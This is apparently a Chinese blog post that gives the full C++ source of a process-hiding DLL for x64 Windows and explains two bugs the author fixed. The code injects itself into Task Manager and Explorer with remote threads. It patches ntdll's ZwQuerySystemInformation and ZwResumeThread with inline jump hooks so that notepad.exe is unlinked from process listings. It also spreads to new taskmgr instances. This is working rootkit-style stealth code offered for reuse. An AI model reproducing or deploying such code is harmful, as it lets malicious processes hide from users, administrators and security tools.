之前写过几篇进程隐藏的技术贴,但是在X64下代码没有成功,昨晚深入调试了一会儿发现了问题所在,这里详细探讨下
先贴上完整的Hide.dll的cpp代码:
#include "Hide.h"
#define SystemProcessInformation 5
#define STATUS_SUCCESS (0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH (0xC0000004L)
//*****************************************************↓↓↓常量定义↓↓↓************************************************************
BYTE ZwQuerySystemInformation_origin_byte[5] = { 0, };
BYTE ZwResumeThread_origin_byte[5] = { 0, };
LPCTSTR Dll_Path = L"d:hack.dll";
wchar_t const *Hide_Process = L"notepad.exe";
WCHAR Goal_Name[1][100] = { L"taskmgr" };
WCHAR filename[MAX_PATH];
static DWORD prepid = 0;
//*****************************************************↓↓↓函数实现↓↓↓************************************************************
BOOL Whether_Hide_Goal(const WCHAR *processname) {
const WCHAR *ori = processname;
for (int i = 0; i<1; i++) {
processname = ori;
while (*processname != '\0') {
WCHAR *s = Goal_Name[i];
while (*processname != *s && *processname != (*s) - 32 && *processname != '\0') {
processname++;
}
while (*processname != '\0' && (*processname == *s || *processname == (*s) - 32)) {
processname++;
s++;
}
if (*s == '\0') {
return true;
}
}
}
return false;
}
BOOL IsNt6Plus() { //判断内核版本是否为NT6+
OSVERSIONINFO osvi;
ZeroMemory(&osvi, sizeof(osvi));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
if (osvi.dwMajorVersion == 6 || osvi.dwMajorVersion == 10) //vista.7.8 = 6 10=10
return true;
return false;
}
BOOL MyCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE pThreadProc, LPVOID pRemoteBuf) {
HANDLE hThread = NULL;
FARPROC pfunc = NULL;
if (IsNt6Plus()) {
pfunc = (GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx"));
if (pfunc == NULL) return false;
((PFNTCREATETHREADEX)pfunc)(&hThread, 0x1FFFFF, NULL, hProcess, pThreadProc, pRemoteBuf, FALSE, NULL, NULL, NULL, NULL);
if (hThread == NULL) return false;
}
else {
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
if (hThread == NULL) return false;
}
if (WAIT_FAILED == WaitForSingleObject(hThread, INFINITE)) return false;
return true;
}
void InjectDll(DWORD pid = 0) {
if (pid == 0) return;
EnableDebugPrivilege(); //权限提升
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) return;
LPVOID pRemoteBuf = NULL;
DWORD BufSize = (DWORD)(wcslen(Dll_Path) + 1) * sizeof(TCHAR);//+1:\0
pRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)Dll_Path, BufSize, NULL);
LPTHREAD_START_ROUTINE pThreadProc;
HMODULE Kernel32_Handle = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle, "LoadLibraryW");
MyCreateRemoteThread(hProcess, pThreadProc, pRemoteBuf);
CloseHandle(hProcess);
hProcess = NULL;
}
BOOL EnableDebugPrivilege() {
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
hToken = NULL;
}
return fOk;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
GetModuleFileName(NULL, filename, MAX_PATH);
if (Whether_Hide_Goal(filename)) { //如果是我们想对其隐藏的进程则对ZwQuerySystemInformation挂钩
hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);
}
else { //否则一定是explorer则对ZwResumeThread挂钩
hook("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, ZwResumeThread_origin_byte);
}
break;
case DLL_PROCESS_DETACH:
unhook("ntdll.dll", "ZwQuerySystemInformation", ZwQuerySystemInformation_origin_byte);
unhook("ntdll.dll", "ZwResumeThread", ZwResumeThread_origin_byte);
break;
}
return TRUE;
}
BOOL hook(LPCSTR DllName, LPCSTR FuncName, PROC Func_New, PBYTE origin_byte) {
FARPROC p_ori_func;
PBYTE pbyte;
DWORD oldprotect;
DWORD address;
byte newbuf[5] = { (char)233,0, };
p_ori_func = (FARPROC)GetProcAddress(GetModuleHandleA(DllName), FuncName); //获取原函数地址
pbyte = (PBYTE)p_ori_func;
if (pbyte[0] == 0xE9) return false;
VirtualProtect((LPVOID)p_ori_func,5, PAGE_EXECUTE_READWRITE, &oldprotect); //修改5字节属性为可写
memcpy(origin_byte, p_ori_func,5); //保存原函数前5字节指令
address = (DWORD)Func_New - (DWORD)p_ori_func - 5; //计算跳转到NewZwQuerySystemInformation函数需要的jmp地址
memcpy(&newbuf[1], &address,4); //将计算出的地址写入newbuf
memcpy(p_ori_func, newbuf,5); //原函数处写入jmp xxx实现Hook
VirtualProtect((LPVOID)p_ori_func,5, oldprotect, &oldprotect); //恢复刚刚调整过的属性
return true;
}
BOOL unhook(LPCSTR DllName, LPCSTR FuncName, PBYTE origin_byte) {
FARPROC pfunc;
PBYTE pbyte;
DWORD oldprotect;
pfunc = (FARPROC)GetProcAddress(GetModuleHandleA(DllName), FuncName); //获取原函数地址
pbyte = (PBYTE)pfunc;
if (pbyte[0] != 0xE9) return false;
VirtualProtect((LPVOID)pfunc, 5, PAGE_EXECUTE_READWRITE, &oldprotect); //修改5字节属性为可写
memcpy(pfunc, origin_byte, 5); //原函数前5字节恢复
VirtualProtect((LPVOID)pfunc, 5, oldprotect, &oldprotect); //恢复刚刚调整过的属性
return true;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pfunc;
PSYSTEM_PROCESS_INFORMATION pcur = NULL;
PSYSTEM_PROCESS_INFORMATION pprev = NULL;
unhook("ntdll.dll", "ZwQuerySystemInformation", ZwQuerySystemInformation_origin_byte); //解除Hook ZwQuerySystemInformation 防止无限循环
pfunc = (FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "ZwQuerySystemInformation"); //动态获取原函数地址
status = ((PFZWQUERYSYSTEMINFORMATION)pfunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); //按照原始参数顺序调用原函数
if (status != STATUS_SUCCESS) { //判断调用是否成功不可以的话就断Hook 返回错误status
if (status == STATUS_INFO_LENGTH_MISMATCH) hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);
return status;
}
if (SystemInformationClass == SystemProcessInformation) { //只有SystemInformationClass=5(查询进程列表)是才进行应用隐藏操作
pcur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; //当前指针指向返回的SystemInformation结构体
while (TRUE) {
if (pcur->ProcessName.Buffer) { //此结构体ProcessName成员的Buffer成员存在则进入
if (!wcscmp(pcur->ProcessName.Buffer, Hide_Process)) { //比较此结构体进程名是否为需要隐藏的进程名,是则进行链表下链操作
if (pcur->NextEntryOffset == 0)
pprev->NextEntryOffset = 0;
else
if (pprev) {
pprev->NextEntryOffset += pcur->NextEntryOffset;
}
else {
SystemInformation=(PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur->NextEntryOffset);
}
}
else
pprev = pcur; //非需要隐藏的进程则当前指针和前向指针分别后移一个
}
if (pcur->NextEntryOffset == 0) //没有下一个了就退出
break;
pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur + pcur->NextEntryOffset);
}
}
hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte); //处理完成,再次Hook
return status; //返回status
}
NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle, PULONG SuspendCount) {
DWORD pid = GetProcessIdOfThread(ThreadHandle); //获取新线程的进程PID
if (pid != GetCurrentProcessId() && pid != prepid) {
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (INVALID_HANDLE_VALUE != hSnapShot) {
BOOL bprocess = Process32First(hSnapShot, &pe);
while (bprocess) {
if (pe.th32ProcessID == pid && Whether_Hide_Goal(pe.szExeFile)) { //遍历进程列表如果新创建的进程的名字是要隐藏的目标的话就InjectDll
prepid = pid;
InjectDll(pid); //DLL注入
break;
}
bprocess = Process32Next(hSnapShot, &pe);
}
}
CloseHandle(hSnapShot);
hSnapShot = NULL;
}
unhook("ntdll.dll", "ZwResumeThread", ZwResumeThread_origin_byte); //防止死循环
FARPROC pfn = (FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "ZwResumeThread"); //动态获取原函数地址
NTSTATUS status = ((PFZWRESUMETHREAD)pfn)(ThreadHandle, SuspendCount);
hook("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, ZwResumeThread_origin_byte); //再次Hook住
return status;
}
仔细看可以发现,主要有两处修改,均在NewZwQuerySystemInformation函数内部
修改一原先的代码:
unhook();
........
if (status != STATUS_SUCCESS) {
return status;
}
修改后的代码:
unhook();
........
if (status != STATUS_SUCCESS) {
if (status == STATUS_INFO_LENGTH_MISMATCH)
hook("ntdll.dll",
"ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation,
ZwQuerySystemInformation_origin_byte);
return status;
}
为什么要这么修改呢,调试分析X64下的CreateToolhelp32SnapShot可以发现
这里用红圈画出的这个CALL为一个关键CALL,这个CALL内部调用了ZwQuerySystemInformation这个函数,也就是我们HOOK的函数
内部调用的ZwQuerySystemInformation这个函数在X64下名字是RtlGetNativeSystemInformation
单步步入之后发现确实HOOK成功了,跳转到我们的新函数NewZwQuerySystemInformation函数,但是继续跟进调试我们自己实现的NewZwQuerySystemInformation的时候发现,unhook之后调用RtlGetNativeSystemInformation函数后返回了错误代码C0000004。
查询后发现是传递参数的时候出现了大小不够的情况,但是很奇怪,我们的大小参数都是照搬了他原始的啊,既然我们的出错了,他们的也一定出错了,经过调试分析发现确实如此,而且看上面CreateToolhelp32SnapShot函数内部调用RtlGetNativeSystemInformation函数的附近确实有对C0000004错误的处理代码,也就是说,这个错误发生后他会加大参数大小然后再次调用这个函数,这次就成功运行了,问题就在这个第二次调用上,我们发现有错误后就直接返回NT_STATUS,而没有再次Hook住这个RtlGetNativeSystemInformation函数,导致第二次调用的时候会出现失效问题,所以判断如果是STATUS_INFO_LENGTH_MISMATCH这个错误那么返回错误码后CreateToolhelp32SnapShot修正大小之后一定会再次调用RtlGetNativeSystemInformation函数,所以需要再次给函数hook住。
修改二原先的代码:
if (pcur->NextEntryOffset == 0)
break;
pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pcur + pcur->NextEntryOffset);
修改后:
if (pcur->NextEntryOffset == 0)
break;
pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur + pcur->NextEntryOffset);
在遍历RtlGetNativeSystemInformation填充的SystemInformation结构体的时候需要循环遍历每个进程信息只对需要隐藏的进程进行隐藏(notepad.exe),但是pcur是64位指针类型,把它强制转换成ULONG会造成地址高位信息丢失问题,这个属于x32到x64的细节问题
总结:
这次连分析CreateToolhelp32SnapShot加调试分析修改bug共用了2个多小时吧,习惯了x32的调试分析想搞x64确实有些手生,最大的问题就是参数传递的问题,x32里习惯了看一眼站窗口就知道函数调用参数了,但是x64中要从rcx,rdx,r8,r9这些寄存器中找参数,不过这个习惯了之后应该也会很快。
这两处修改最花时间的是第二处,确实指针截断实在是太不起眼了,一个是ADD RAX,RBX.一个是ADD EAX,EBX确实区别不大,不过看了当注意到这个的时候就瞬间想到了是类型转换的问题,修改后终于搞定了这个X64下的进程隐藏问题,激动的我差点叫出来…..不过当时已经2点了,估计叫出来室友想杀我的心都有了.2333…